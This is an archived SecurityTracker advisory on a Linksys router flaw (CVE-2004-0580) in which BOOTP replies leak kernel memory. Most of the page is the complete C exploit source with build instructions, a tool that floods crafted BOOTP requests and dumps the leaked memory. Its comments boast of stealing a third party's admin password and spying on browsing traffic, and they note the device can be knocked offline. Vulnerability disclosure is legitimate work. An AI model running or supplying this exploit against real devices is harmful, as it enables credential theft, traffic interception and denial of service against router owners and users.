SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Device (Router/Bridge/Hub)  >   Linksys Router Vendors:   Linksys
Linksys Routers May Disclose Kernel Memory Contents in Response to BOOTP Packets
SecurityTracker Alert ID:  1010288
SecurityTracker URL:  http://securitytracker.com/id/1010288
CVE Reference:   CVE-2004-0580   (Links to External Site)
Updated:  Jun 23 2004
Original Entry Date:  May 25 2004
Impact:   Disclosure of authentication information, Disclosure of system information, Disclosure of user information
Exploit Included:  Yes  

Description:   A vulnerability was reported in some Linksys routers in the processing of BOOTP packets. A remote user can view portions of kernel memory on the target system.

Jon Hart reported that Linksys routers, including the BEFSR41 and BEFW11S4 and possibly others, contain a flaw in the DHCP server. A remote user can send a BOOTP pakcet to cause the device to return a BOOTP response with kernel memory contents in the BOOTP fields.

A remote user can reportedly monitor traffic recently processed by the device via this exploit method, including administrative passwords for the device (when an administrator configures the system).

In some cases, the device may stop processing traffic after a receiving number of BOOTP requests.

A demonstration exploit is provided in the Source Message.

Impact:   A remote user can view portions of kernel memory.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.linksys.com/ (Links to External Site)
Cause:   Access control error, State error

Message History:   This archive entry has one or more follow-up message(s) listed below.
Jun 8 2004 (Vendor Issues Fix) Linksys Routers May Disclose Kernel Memory Contents in Response to BOOTP Packets
Linksys has issued a fix for Revision 3.



 Source Message Contents

Subject:  Linksys BOOTP Bug


/*
  *
  * Apparently Linksys devices that have a DHCP server on them
  * don't properly handle BOOTP packets.  Instead of returning
  * legitimate BOOTP responses, they  return BOOTP responses with
  * the BOOTP fields filled in with portions of memory.  This
  * allows you to do cool things like the equivalent of sniffing
  * all the traffic to/from the device.
  *
  * To the best of my knowledge, this only allows you to read
  * traffic that was recently sent to/from the linksys device
  * (on any of its ports if its a hub/switch).  I have successfully
  * used this technique to steal the admin username and password
  * from an innocent third party who recently configured the device,
  * and I watched someone's traffic as they browsed ebay for a new
  * Ti-Book.  In a number of cases, after sufficient packets were sent,
  * the device stopped routing packets and would only continue working
  * again after a power cycle.
  *
  * You won't always get memory on the first packet, so try
  * sending many packets.  Even if you do get portions of memory,
  * you'll only get something interesting if the linksys device was
  * recently active.
  *
  * If you try the payload option, you can see that canary value in
  * BOOTP reply packets -- not necessarily right away, but eventually.
  * This usually appears in the BOOTP vendor specific options field,
  * typically right at the very beginning.
  *
  * Tested on a fully updated Linksys BEFSR41 and BEFW11S4, but
  * will likely work on all Linksys devices that have a DHCP
  * server.  Currently, this looks to include at least the BEFN2PS4,
  * BEFSR41, BEFSR81, BEFSX41, RV082, BEFCMU10, BEFSR11, BEFSR41W,
  * BEFSRU31, BEFVP41, WRT55AG, WRV54G, WRT51AB
  *
  *
  * Requires libnet (1.1.x) and libpcap
  *
  * Compile with something like:
  *
  * gcc -Wall -I/usr/include `libnet-config --defines --cflags` \
  * -o linksys-dhcp-exploit linksys-dhcp-exploit.c `libnet-config --libs` -lpcap
  *
  *
  * Jon Hart <warchild@spoofed.org>
  *
  * Copyright (c) 2004, Jon Hart
  * All rights reserved.
  *
  *  Redistribution and use in source and binary forms, with or without modification,
  *  are permitted provided that the following conditions are met:
  *
  *  * Redistributions of source code must retain the above copyright notice,
  *    this list of conditions and the following disclaimer.
  *  * Redistributions in binary form must reproduce the above copyright notice,
  *    this list of conditions and the following disclaimer in the documentation
  *    and/or other materials provided with the distribution.
  *  * Neither the name of the organization nor the names of its contributors may
  *    be used to endorse or promote products derived from this software without
  *    specific prior written permission.
  *
  *
  *  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
  *  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
  *  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
  *  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
  *  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
  *  DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
  *  SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
  *  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
  *  OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
  *  USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  *
  */

#include <libnet.h>
#include <pcap.h>
#if (SOLARIS || BSD)
#include <netinet/if_ether.h>
#else
#include <netinet/ether.h>
#endif

#define HEXDUMP_BYTES_PER_LINE 16
#define HEXDUMP_SHORTS_PER_LINE (HEXDUMP_BYTES_PER_LINE / 2)
#define HEXDUMP_HEXSTUFF_PER_SHORT 5 /* 4 hex digits and a space */
#define HEXDUMP_HEXSTUFF_PER_LINE \
             (HEXDUMP_HEXSTUFF_PER_SHORT * HEXDUMP_SHORTS_PER_LINE)

void ascii_print_with_offset(register const u_char *cp, register u_int length);
void usage();
void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet);

int main(int argc, char *argv[]) {

	int c, time = 5, dump = 0, count = 0;

	libnet_t *libnet;
	struct libnet_stats stats_libnet;
	libnet_ptag_t ether, ipv4, udp, bootp;
	struct libnet_ether_addr *src_ether;

	pcap_t *pcap;
	struct pcap_stat stats_pcap;
	struct bpf_program filter;
	char filter_exp[] = "src port 67 and dst port 68";
	bpf_u_int32 mask, net;

	char errbuf[LIBNET_ERRBUF_SIZE];
	char *interface = NULL;
	char *payload = NULL;
	u_char bcast_ether[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};

	while ((c = getopt(argc, argv, "c:i:p:s:X")) != EOF) {
		switch (c) {
			case 'c':
					count = atoi(optarg);
					break;
			case 'i':
				interface = optarg;
				break;
			case 'p':
				payload = optarg;
				break;
			case 's':
				time = atoi(optarg);
				break;
			case 'X':
				dump = 1;
				break;
			default:
				 usage();
				 return(1);
		}
	}


	if (interface == NULL) {
			fprintf(stderr, "Please specify an interface\n");
			usage();
			return(1);
	}

	if ((libnet = libnet_init(LIBNET_LINK, interface, errbuf)) == NULL) {
		fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
		return(1);
	}

	if ((src_ether = libnet_get_hwaddr(libnet)) == NULL) {
		fprintf(stderr, "Couldn't determine src ethernet: %s\n", errbuf);
		libnet_destroy(libnet);
		return(1);
	}

	memset(&stats_libnet, 0, sizeof(struct libnet_stats));

	libnet_seed_prand(libnet);
	
	if ((pcap = pcap_open_live(interface, BUFSIZ, 0, 5000, errbuf)) == NULL) {
		fprintf(stderr, "pcap_open_live() failed: %s\n", errbuf);
		libnet_destroy(libnet);
		return(1);
	}

	if (pcap_lookupnet(interface, &net, &mask, errbuf) == -1) {
		fprintf(stderr, "pcap_lookupnet() failed: %s\n", errbuf);
		libnet_destroy(libnet);
		pcap_close(pcap);
		return(1);
	}

	if (pcap_compile(pcap, &filter, filter_exp, 0, net) == -1) {
		fprintf(stderr, "pcap_compile() failed: %s\n", pcap_geterr(pcap));
		libnet_destroy(libnet);
		pcap_close(pcap);
	}

	if (pcap_setfilter(pcap, &filter) == -1) {
		fprintf(stderr, "pcap_setfilter() failed: %s\n", pcap_geterr(pcap));
		libnet_destroy(libnet);
		pcap_freecode(&filter);
		pcap_close(pcap);
	}

	memset(&stats_pcap, 0, sizeof(struct pcap_stat));

	/* If we want to tack some "payload" into the BOOTP packet,
	 * we must do it here before the bootp stuff is built
	 */
	if (!(payload == NULL)) {
			libnet_build_data((u_char *) payload, strlen(payload), libnet, 0);
	}

	/* The device seems to croak on the simplest of BOOTP packets,
	 * so lets do that, shall we
	 */
	bootp = libnet_build_bootpv4(
				LIBNET_DHCP_REQUEST,
				1,
				ETHER_ADDR_LEN,
				0,
				libnet_get_prand(LIBNET_PR32),
				0,
				0x8000,
				0,
				0,
				0,
				0,
				src_ether->ether_addr_octet,
				NULL,
				NULL,
				NULL,
				0,
				libnet,
				0);

	if (bootp == -1) {
		fprintf(stderr, "Can't build bootp: %s\n", libnet_geterror(libnet));
		goto die;
	}

	udp = libnet_build_udp(
			68,
			67,
			LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
			0,
			NULL,
			0,
			libnet,
			0);


	if (udp == -1) {
		fprintf(stderr, "Can't build udp: %s\n", libnet_geterror(libnet));
		goto die;
	}

	ipv4 = libnet_build_ipv4(
				LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + (payload == NULL ? 0 : strlen(payload)),
				0,
				libnet_get_prand(LIBNET_PR16),
				IP_DF,
				libnet_get_prand(LIBNET_PR8),
				IPPROTO_UDP,
				0,
				inet_addr("0.0.0.0"),
				inet_addr("255.255.255.255"),
				NULL,
				0,
				libnet,
				0);

	if (ipv4 == -1) {
			fprintf(stderr, "Can't build ipv4: %s\n", libnet_geterror(libnet));
			goto die;
	}

	ether = libnet_autobuild_ethernet(bcast_ether, ETHERTYPE_IP, libnet);	

	if (ether == -1) {
			fprintf(stderr, "Can't build ethernet: %s\n", libnet_geterror(libnet));
			goto die;
	}

	if (count == 0) {
		for(;;) {
			libnet_write(libnet);
			if (dump) {
				if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
					pcap_perror(pcap, "Error: ");
				}
			}
			sleep(time);
		}
	} else {
		for (c = 0; c < count; c++) {
			libnet_write(libnet);
			if (dump) {
				if (pcap_dispatch(pcap, 1, print_pkt, NULL) <= 0) {
					pcap_perror(pcap, "Error: ");
				}
			}
			if (!(c + 1 == count)) {
				sleep(time);
			}
		}
	}

	libnet_stats(libnet, &stats_libnet);
	
	if (pcap_stats(pcap, &stats_pcap) == -1) {
		fprintf(stderr, "pcap_stats() failed: %s\n", pcap_geterr(pcap));
	} else {
		fprintf(stderr, "\nSent: %lld Received: %d Dropped: %d\n",
				stats_libnet.packets_sent, stats_pcap.ps_recv, stats_pcap.ps_drop);
	}

	goto die;

die:
	libnet_destroy(libnet);
	pcap_freecode(&filter);
	pcap_close(pcap);
	return(0);
}

/* Borrowed from tcpdump */
void ascii_print_with_offset(register const u_char *cp, register u_int length) {
	register u_int i, oset = 0;
	register int s1, s2, chr = 0;
	register int nshorts;
	char hexstuff[HEXDUMP_SHORTS_PER_LINE*HEXDUMP_HEXSTUFF_PER_SHORT+1], *hsp;
	char asciistuff[HEXDUMP_BYTES_PER_LINE+1], *asp;
	char *ascii_color = "01;32";

	nshorts = length / sizeof(u_short);
	i = 0;
	hsp = hexstuff; asp = asciistuff;
	while (--nshorts >= 0) {
		s1 = *cp++;
		s2 = *cp++;
		(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
							" %02x%02x", s1, s2);
		hsp += HEXDUMP_HEXSTUFF_PER_SHORT;
		*(asp++) = s1;
		*(asp++) = s2;
		if (++i >= HEXDUMP_SHORTS_PER_LINE) {
			*hsp = *asp = '\0';
			(void)printf("\n0x%04x\t%-*s ",
			oset, HEXDUMP_HEXSTUFF_PER_LINE,
			hexstuff);
			for (chr = 0; chr < sizeof(asciistuff) - 1; chr++) {
				if (isprint(asciistuff[chr])) {
					(void)printf("\33[%sm", ascii_color);
					(void)printf("%c", asciistuff[chr]);
					fputs("\33[00m", stdout);
				} else {
					(void)printf(".");
				}
			}
			i = 0; hsp = hexstuff; asp = asciistuff;
			oset += HEXDUMP_BYTES_PER_LINE;
		}
	}
	if (length & 1) {
		s1 = *cp++;
		(void)snprintf(hsp, sizeof(hexstuff) - (hsp - hexstuff),
							" %02x", s1);
		hsp += 3;
		*(asp++) = s1;
		++i;
	}
	if (i > 0) {
		*hsp = *asp = '\0';
		(void)printf("\n0x%04x\t%-*s ",
						oset, HEXDUMP_HEXSTUFF_PER_LINE,
						hexstuff);
		for (chr = 0; chr < sizeof(asciistuff) - 1 && asciistuff[chr] != '\0'; chr++) {
			if (isgraph(asciistuff[chr])) {
				(void)printf("\33[%sm", ascii_color);
				(void)printf("%c", asciistuff[chr]);
				fputs("\33[00m", stdout);
			} else {
				(void)printf(".");
			}
		}
	}
}

void usage() {
	fprintf(stderr, "\tLinksys dhcp memory disclosure exploit\n");
	fprintf(stderr, "\tby Jon Hart <warchild@spoofed.org>\n");
	fprintf(stderr, "\thttp://spoofed.org/files/linksys-dhcp-exploit.c\n");
	fprintf(stderr, "\n\tUsage:\n");
	fprintf(stderr, "\t\t-c count  # number of packets to send\n");
	fprintf(stderr, "\t\t-i interface  # interface to send packets to\n");
	fprintf(stderr, "\t\t-p payload # payload to put in the bootp packet\n");
	fprintf(stderr, "\t\t-s seconds  # (optional) seconds to sleep between packets\n");
	fprintf(stderr, "\t\t-X   # dump captured data\n");
	fprintf(stderr, "\n\n");
}

void print_pkt(u_char *blah, const struct pcap_pkthdr* packet_header, const u_char *packet) {

	struct ether_header *ether = (struct ether_header *) packet;
	struct iphdr *ip;
	u_int jump = 0;

	if (ntohs(ether->ether_type) != ETHERTYPE_IP) {
		return;
	}

	/* Jump past the ethernet header */
	jump += LIBNET_ETH_H;
	ip = (struct iphdr *)(packet + jump);

	/* Jump past the IP header */
	jump += ip->ihl * 4;

	/* Jump past the UDP header */
	jump += LIBNET_UDP_H;

	/* Now print out the UDP data, which is just the BOOTP portion of
	 * the packet.  This should contain the interesting data.
	 */
	ascii_print_with_offset(packet + jump, packet_header->caplen - jump);
	printf("\n");
}


 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2021, SecurityGlobal.net LLC